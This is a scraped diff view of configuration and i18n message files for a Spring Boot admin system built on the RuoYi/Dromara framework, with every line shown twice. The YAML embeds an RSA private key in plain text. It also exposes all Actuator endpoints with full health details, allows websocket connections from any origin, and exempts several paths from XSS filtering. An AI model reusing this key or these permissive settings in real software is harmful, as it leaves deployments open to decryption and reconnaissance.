# 对应前端加密公钥 MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKoR8mX0rGKLqzcWmOzbfj64K8ZIgOdHnzkXSOVOZbFu/TJhZ7rFAN+eaGkl3C4buccQd/EjEsj9ir7ijT7h96MCAwEAAQ== # 对应前端加密公钥 MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKoR8mX0rGKLqzcWmOzbfj64K8ZIgOdHnzkXSOVOZbFu/TJhZ7rFAN+eaGkl3C4buccQd/EjEsj9ir7ijT7h96MCAwEAAQ==
privateKey: MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAqhHyZfSsYourNxaY7Nt+PrgrxkiA50efORdI5U5lsW79MmFnusUA355oaSXcLhu5xxB38SMSyP2KvuKNPuH3owIDAQABAkAfoiLyL+Z4lf4Myxk6xUDgLaWGximj20CUf+5BKKnlrK+Ed8gAkM0HqoTt2UZwA5E2MzS4EI2gjfQhz5X28uqxAiEA3wNFxfrCZlSZHb0gn2zDpWowcSxQAgiCstxGUoOqlW8CIQDDOerGKH5OmCJ4Z21v+F25WaHYPxCFMvwxpcw99EcvDQIgIdhDTIqD2jfYjPTY8Jj3EDGPbH2HHuffvflECt3Ek60CIQCFRlCkHpi7hthhYhovyloRYsM+IS9h/0BzlEAuO0ktMQIgSPT3aFAgJYwKpqRYKlLDVcflZFCKY7u3UP8iWi1Qw0Y= privateKey: MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAqhHyZfSsYourNxaY7Nt+PrgrxkiA50efORdI5U5lsW79MmFnusUA355oaSXcLhu5xxB38SMSyP2KvuKNPuH3owIDAQABAkAfoiLyL+Z4lf4Myxk6xUDgLaWGximj20CUf+5BKKnlrK+Ed8gAkM0HqoTt2UZwA5E2MzS4EI2gjfQhz5X28uqxAiEA3wNFxfrCZlSZHb0gn2zDpWowcSxQAgiCstxGUoOqlW8CIQDDOerGKH5OmCJ4Z21v+F25WaHYPxCFMvwxpcw99EcvDQIgIdhDTIqD2jfYjPTY8Jj3EDGPbH2HHuffvflECt3Ek60CIQCFRlCkHpi7hthhYhovyloRYsM+IS9h/0BzlEAuO0ktMQIgSPT3aFAgJYwKpqRYKlLDVcflZFCKY7u3UP8iWi1Qw0Y=
springdoc: springdoc:
api-docs: api-docs:
# 是否开启接口文档 # 是否开启接口文档
enabled: true enabled: true
# swagger-ui: # swagger-ui:
# # 持久化认证数据 # # 持久化认证数据
# persistAuthorization: true # persistAuthorization: true
info: info:
# 标题 # 标题
title: '标题:${ruoyi.name}效果图业务系统_接口文档' title: '标题:${ruoyi.name}效果图业务系统_接口文档'
# 描述 # 描述
description: '描述:效果图业务系统接口文档' description: '描述:效果图业务系统接口文档'
# 版本 # 版本
version: '版本号: ${ruoyi.version}' version: '版本号: ${ruoyi.version}'
# 作者信息 # 作者信息
contact: contact:
name: Maosw name: Maosw
email: 136767481@qq.com email: 136767481@qq.com
components: components:
# 鉴权方式配置 # 鉴权方式配置
security-schemes: security-schemes:
apiKey: apiKey:
type: APIKEY type: APIKEY
in: HEADER in: HEADER
name: ${sa-token.token-name} name: ${sa-token.token-name}
#这里定义了两个分组,可定义多个,也可以不定义 #这里定义了两个分组,可定义多个,也可以不定义
group-configs: group-configs:
- group: 1.通用模块 - group: 1.通用模块
packages-to-scan: org.dromara.web packages-to-scan: org.dromara.web
- group: 2.系统模块 - group: 2.系统模块
packages-to-scan: org.dromara.system packages-to-scan: org.dromara.system
- group: 3.业务模块 - group: 3.业务模块
packages-to-scan: org.dromara.work packages-to-scan: org.dromara.work
# 防止XSS攻击 # 防止XSS攻击
xss: xss:
# 过滤开关 # 过滤开关
enabled: true enabled: true
# 排除链接(多个用逗号分隔) # 排除链接(多个用逗号分隔)
excludeUrls: excludeUrls:
- /system/notice - /system/notice
- /workflow/model/save - /workflow/model/save
- /workflow/model/editModelXml - /workflow/model/editModelXml
- /work/prod - /work/prod
# 全局线程池相关配置 # 全局线程池相关配置
# 如使用JDK21请直接使用虚拟线程 不要开启此配置 # 如使用JDK21请直接使用虚拟线程 不要开启此配置
thread-pool: thread-pool:
# 是否开启线程池 # 是否开启线程池
enabled: false enabled: false
# 队列最大长度 # 队列最大长度
queueCapacity: 128 queueCapacity: 128
# 线程池维护线程所允许的空闲时间 # 线程池维护线程所允许的空闲时间
keepAliveSeconds: 300 keepAliveSeconds: 300
--- # 分布式锁 lock4j 全局配置 --- # 分布式锁 lock4j 全局配置
lock4j: lock4j:
# 获取分布式锁超时时间,默认为 3000 毫秒 # 获取分布式锁超时时间,默认为 3000 毫秒
acquire-timeout: 3000 acquire-timeout: 3000
# 分布式锁的超时时间,默认为 30 秒 # 分布式锁的超时时间,默认为 30 秒
expire: 30000 expire: 30000
--- # Actuator 监控端点的配置项 --- # Actuator 监控端点的配置项
management: management:
endpoints: endpoints:
web: web:
exposure: exposure:
include: '*' include: '*'
endpoint: endpoint:
health: health:
show-details: ALWAYS show-details: ALWAYS
logfile: logfile:
external-file: ./logs/sys-console.log external-file: ./logs/sys-console.log
--- # 默认/推荐使用sse推送 --- # 默认/推荐使用sse推送
sse: sse:
enabled: true enabled: true
path: /resource/sse path: /resource/sse
--- # websocket --- # websocket
websocket: websocket:
# 如果关闭 需要和前端开关一起关闭 # 如果关闭 需要和前端开关一起关闭
enabled: true enabled: true
# 路径 # 路径
path: /resource/websocket path: /resource/websocket
# 设置访问源地址 # 设置访问源地址
allowedOrigins: '*' allowedOrigins: '*'
--- #flowable配置 --- #flowable配置
flowable: flowable:
# 开关 用于启动/停用工作流 # 开关 用于启动/停用工作流
enabled: true enabled: true
process.enabled: ${flowable.enabled} process.enabled: ${flowable.enabled}
eventregistry.enabled: ${flowable.enabled} eventregistry.enabled: ${flowable.enabled}
async-executor-activate: false #关闭定时任务JOB async-executor-activate: false #关闭定时任务JOB
# 将databaseSchemaUpdate设置为true。当Flowable发现库与数据库表结构不一致时会自动将数据库表结构升级至新版本。 # 将databaseSchemaUpdate设置为true。当Flowable发现库与数据库表结构不一致时会自动将数据库表结构升级至新版本。
database-schema-update: true database-schema-update: true
activity-font-name: 宋体 activity-font-name: 宋体
label-font-name: 宋体 label-font-name: 宋体
annotation-font-name: 宋体 annotation-font-name: 宋体
# 关闭各个模块生成表,目前只使用工作流基础表 # 关闭各个模块生成表,目前只使用工作流基础表
idm: idm:
enabled: false enabled: false
cmmn: cmmn:
enabled: false enabled: false
dmn: dmn:
enabled: false enabled: false
app: app:
enabled: false enabled: false

View File

@@ -1,8 +1,8 @@
Application Version: ${revision} Application Version: ${revision}
Spring Boot Version: ${spring-boot.version} Spring Boot Version: ${spring-boot.version}
__________ _____.___.__ ____ ____ __________.__ __________ _____.___.__ ____ ____ __________.__
\______ \__ __ ____\__ | |__| \ \ / /_ __ ____ \______ \ | __ __ ______ \______ \__ __ ____\__ | |__| \ \ / /_ __ ____ \______ \ | __ __ ______
| _/ | \/ _ \/ | | | ______ \ Y / | \_/ __ \ ______ | ___/ | | | \/ ___/ | _/ | \/ _ \/ | | | ______ \ Y / | \_/ __ \ ______ | ___/ | | | \/ ___/
| | \ | ( <_> )____ | | /_____/ \ /| | /\ ___/ /_____/ | | | |_| | /\___ \ | | \ | ( <_> )____ | | /_____/ \ /| | /\ ___/ /_____/ | | | |_| | /\___ \
|____|_ /____/ \____// ______|__| \___/ |____/ \___ > |____| |____/____//____ > |____|_ /____/ \____// ______|__| \___/ |____/ \___ > |____| |____/____//____ >
\/ \/ \/ \/ \/ \/ \/ \/

View File

@@ -1,61 +1,61 @@
#\u9519\u8BEF\u6D88\u606F #\u9519\u8BEF\u6D88\u606F
not.null=* \u5FC5\u987B\u586B\u5199 not.null=* \u5FC5\u987B\u586B\u5199
user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF
user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548
user.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u8D26\u53F7\uFF1A{0} \u4E0D\u5B58\u5728. user.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u8D26\u53F7\uFF1A{0} \u4E0D\u5B58\u5728.
user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF
user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21
user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F
user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u88AB\u5220\u9664 user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u88AB\u5220\u9664
user.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 user.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
user.logout.success=\u9000\u51FA\u6210\u529F user.logout.success=\u9000\u51FA\u6210\u529F
length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4
user.username.not.blank=\u7528\u6237\u540D\u4E0D\u80FD\u4E3A\u7A7A user.username.not.blank=\u7528\u6237\u540D\u4E0D\u80FD\u4E3A\u7A7A
user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934
user.username.length.valid=\u8D26\u6237\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 user.username.length.valid=\u8D26\u6237\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4
user.password.not.blank=\u7528\u6237\u5BC6\u7801\u4E0D\u80FD\u4E3A\u7A7A user.password.not.blank=\u7528\u6237\u5BC6\u7801\u4E0D\u80FD\u4E3A\u7A7A
user.password.length.valid=\u7528\u6237\u5BC6\u7801\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 user.password.length.valid=\u7528\u6237\u5BC6\u7801\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4
user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26
user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF
user.email.not.blank=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A user.email.not.blank=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A
user.phonenumber.not.blank=\u7528\u6237\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A user.phonenumber.not.blank=\u7528\u6237\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A
user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF
user.login.success=\u767B\u5F55\u6210\u529F user.login.success=\u767B\u5F55\u6210\u529F
user.register.success=\u6CE8\u518C\u6210\u529F user.register.success=\u6CE8\u518C\u6210\u529F
user.register.save.error=\u4FDD\u5B58\u7528\u6237 {0} \u5931\u8D25\uFF0C\u6CE8\u518C\u8D26\u53F7\u5DF2\u5B58\u5728 user.register.save.error=\u4FDD\u5B58\u7528\u6237 {0} \u5931\u8D25\uFF0C\u6CE8\u518C\u8D26\u53F7\u5DF2\u5B58\u5728
user.register.error=\u6CE8\u518C\u5931\u8D25\uFF0C\u8BF7\u8054\u7CFB\u7CFB\u7EDF\u7BA1\u7406\u4EBA\u5458 user.register.error=\u6CE8\u518C\u5931\u8D25\uFF0C\u8BF7\u8054\u7CFB\u7CFB\u7EDF\u7BA1\u7406\u4EBA\u5458
user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55
user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55
user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55
auth.grant.type.error=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u9519\u8BEF auth.grant.type.error=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u9519\u8BEF
auth.grant.type.blocked=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u5DF2\u7981\u7528 auth.grant.type.blocked=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u5DF2\u7981\u7528
auth.grant.type.not.blank=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u4E0D\u80FD\u4E3A\u7A7A auth.grant.type.not.blank=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u4E0D\u80FD\u4E3A\u7A7A
auth.clientid.not.blank=\u8BA4\u8BC1\u5BA2\u6237\u7AEFid\u4E0D\u80FD\u4E3A\u7A7A auth.clientid.not.blank=\u8BA4\u8BC1\u5BA2\u6237\u7AEFid\u4E0D\u80FD\u4E3A\u7A7A
##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F ##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F
upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01<br/>\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01<br/>\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01
upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26
##\u6743\u9650 ##\u6743\u9650
no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
repeat.submit.message=\u4E0D\u5141\u8BB8\u91CD\u590D\u63D0\u4EA4\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 repeat.submit.message=\u4E0D\u5141\u8BB8\u91CD\u590D\u63D0\u4EA4\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5
rate.limiter.message=\u8BBF\u95EE\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 rate.limiter.message=\u8BBF\u95EE\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5
sms.code.not.blank=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A sms.code.not.blank=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A
sms.code.retry.limit.count=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 sms.code.retry.limit.count=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21
sms.code.retry.limit.exceed=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F sms.code.retry.limit.exceed=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F
email.code.not.blank=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A email.code.not.blank=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A
email.code.retry.limit.count=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 email.code.retry.limit.count=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21
email.code.retry.limit.exceed=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F email.code.retry.limit.exceed=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F
xcx.code.not.blank=\u5C0F\u7A0B\u5E8F[code]\u4E0D\u80FD\u4E3A\u7A7A xcx.code.not.blank=\u5C0F\u7A0B\u5E8F[code]\u4E0D\u80FD\u4E3A\u7A7A
social.source.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[source]\u4E0D\u80FD\u4E3A\u7A7A social.source.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[source]\u4E0D\u80FD\u4E3A\u7A7A
social.code.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[code]\u4E0D\u80FD\u4E3A\u7A7A social.code.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[code]\u4E0D\u80FD\u4E3A\u7A7A
social.state.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[state]\u4E0D\u80FD\u4E3A\u7A7A social.state.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[state]\u4E0D\u80FD\u4E3A\u7A7A
##\u79DF\u6237 ##\u79DF\u6237
tenant.number.not.blank=\u79DF\u6237\u7F16\u53F7\u4E0D\u80FD\u4E3A\u7A7A tenant.number.not.blank=\u79DF\u6237\u7F16\u53F7\u4E0D\u80FD\u4E3A\u7A7A
tenant.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u79DF\u6237\u4E0D\u5B58\u5728\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 tenant.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u79DF\u6237\u4E0D\u5B58\u5728\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
tenant.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 tenant.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
tenant.expired=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u8FC7\u671F\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 tenant.expired=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u8FC7\u671F\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458

View File

@@ -1,61 +1,61 @@
#错误消息 #错误消息
not.null=* Required fill in not.null=* Required fill in
user.jcaptcha.error=Captcha error user.jcaptcha.error=Captcha error
user.jcaptcha.expire=Captcha invalid user.jcaptcha.expire=Captcha invalid
user.not.exists=Sorry, your account: {0} does not exist user.not.exists=Sorry, your account: {0} does not exist
user.password.not.match=User does not exist/Password error user.password.not.match=User does not exist/Password error
user.password.retry.limit.count=Password input error {0} times user.password.retry.limit.count=Password input error {0} times
user.password.retry.limit.exceed=Password input error {0} times, account locked for {1} minutes user.password.retry.limit.exceed=Password input error {0} times, account locked for {1} minutes
user.password.delete=Sorry, your account{0} has been deleted user.password.delete=Sorry, your account{0} has been deleted
user.blocked=Sorry, your account: {0} has been disabled. Please contact the administrator user.blocked=Sorry, your account: {0} has been disabled. Please contact the administrator
role.blocked=Role disabledplease contact administrators role.blocked=Role disabledplease contact administrators
user.logout.success=Exit successful user.logout.success=Exit successful
length.not.valid=The length must be between {min} and {max} characters length.not.valid=The length must be between {min} and {max} characters
user.username.not.blank=Username cannot be blank user.username.not.blank=Username cannot be blank
user.username.not.valid=* 2 to 20 chinese characters, letters, numbers or underscores, and must start with a non number user.username.not.valid=* 2 to 20 chinese characters, letters, numbers or underscores, and must start with a non number
user.username.length.valid=Account length must be between {min} and {max} characters user.username.length.valid=Account length must be between {min} and {max} characters
user.password.not.blank=Password cannot be empty user.password.not.blank=Password cannot be empty
user.password.length.valid=Password length must be between {min} and {max} characters user.password.length.valid=Password length must be between {min} and {max} characters
user.password.not.valid=* 5-50 characters user.password.not.valid=* 5-50 characters
user.email.not.valid=Mailbox format error user.email.not.valid=Mailbox format error
user.email.not.blank=Mailbox cannot be blank user.email.not.blank=Mailbox cannot be blank
user.phonenumber.not.blank=Phone number cannot be blank user.phonenumber.not.blank=Phone number cannot be blank
user.mobile.phone.number.not.valid=Phone number format error user.mobile.phone.number.not.valid=Phone number format error
user.login.success=Login successful user.login.success=Login successful
user.register.success=Register successful user.register.success=Register successful
user.register.save.error=Failed to save user {0}, The registered account already exists user.register.save.error=Failed to save user {0}, The registered account already exists
user.register.error=Register failed, please contact system administrator user.register.error=Register failed, please contact system administrator
user.notfound=Please login again user.notfound=Please login again
user.forcelogout=The administrator is forced to exitplease login again user.forcelogout=The administrator is forced to exitplease login again
user.unknown.error=Unknown error, please login again user.unknown.error=Unknown error, please login again
auth.grant.type.error=Auth grant type error auth.grant.type.error=Auth grant type error
auth.grant.type.blocked=Auth grant type disabled auth.grant.type.blocked=Auth grant type disabled
auth.grant.type.not.blank=Auth grant type cannot be blank auth.grant.type.not.blank=Auth grant type cannot be blank
auth.clientid.not.blank=Auth clientid cannot be blank auth.clientid.not.blank=Auth clientid cannot be blank
##文件上传消息 ##文件上传消息
upload.exceed.maxSize=The uploaded file size exceeds the limit file size<br/>the maximum allowed file size is{0}MB upload.exceed.maxSize=The uploaded file size exceeds the limit file size<br/>the maximum allowed file size is{0}MB
upload.filename.exceed.length=The maximum length of uploaded file name is {0} characters upload.filename.exceed.length=The maximum length of uploaded file name is {0} characters
##权限 ##权限
no.permission=You do not have permission to the dataplease contact your administrator to add permissions [{0}] no.permission=You do not have permission to the dataplease contact your administrator to add permissions [{0}]
no.create.permission=You do not have permission to create dataplease contact your administrator to add permissions [{0}] no.create.permission=You do not have permission to create dataplease contact your administrator to add permissions [{0}]
no.update.permission=You do not have permission to modify dataplease contact your administrator to add permissions [{0}] no.update.permission=You do not have permission to modify dataplease contact your administrator to add permissions [{0}]
no.delete.permission=You do not have permission to delete dataplease contact your administrator to add permissions [{0}] no.delete.permission=You do not have permission to delete dataplease contact your administrator to add permissions [{0}]
no.export.permission=You do not have permission to export dataplease contact your administrator to add permissions [{0}] no.export.permission=You do not have permission to export dataplease contact your administrator to add permissions [{0}]
no.view.permission=You do not have permission to view dataplease contact your administrator to add permissions [{0}] no.view.permission=You do not have permission to view dataplease contact your administrator to add permissions [{0}]
repeat.submit.message=Repeat submit is not allowed, please try again later repeat.submit.message=Repeat submit is not allowed, please try again later
rate.limiter.message=Visit too frequently, please try again later rate.limiter.message=Visit too frequently, please try again later
sms.code.not.blank=Sms code cannot be blank sms.code.not.blank=Sms code cannot be blank
sms.code.retry.limit.count=Sms code input error {0} times sms.code.retry.limit.count=Sms code input error {0} times
sms.code.retry.limit.exceed=Sms code input error {0} times, account locked for {1} minutes sms.code.retry.limit.exceed=Sms code input error {0} times, account locked for {1} minutes
email.code.not.blank=Email code cannot be blank email.code.not.blank=Email code cannot be blank
email.code.retry.limit.count=Email code input error {0} times email.code.retry.limit.count=Email code input error {0} times
email.code.retry.limit.exceed=Email code input error {0} times, account locked for {1} minutes email.code.retry.limit.exceed=Email code input error {0} times, account locked for {1} minutes
xcx.code.not.blank=Mini program [code] cannot be blank xcx.code.not.blank=Mini program [code] cannot be blank
social.source.not.blank=Social login platform [source] cannot be blank social.source.not.blank=Social login platform [source] cannot be blank
social.code.not.blank=Social login platform [code] cannot be blank social.code.not.blank=Social login platform [code] cannot be blank
social.state.not.blank=Social login platform [state] cannot be blank social.state.not.blank=Social login platform [state] cannot be blank
##租户 ##租户
tenant.number.not.blank=Tenant number cannot be blank tenant.number.not.blank=Tenant number cannot be blank
tenant.not.exists=Sorry, your tenant does not exist. Please contact the administrator tenant.not.exists=Sorry, your tenant does not exist. Please contact the administrator
tenant.blocked=Sorry, your tenant is disabled. Please contact the administrator tenant.blocked=Sorry, your tenant is disabled. Please contact the administrator
tenant.expired=Sorry, your tenant has expired. Please contact the administrator. tenant.expired=Sorry, your tenant has expired. Please contact the administrator.

View File

@@ -1,61 +1,61 @@
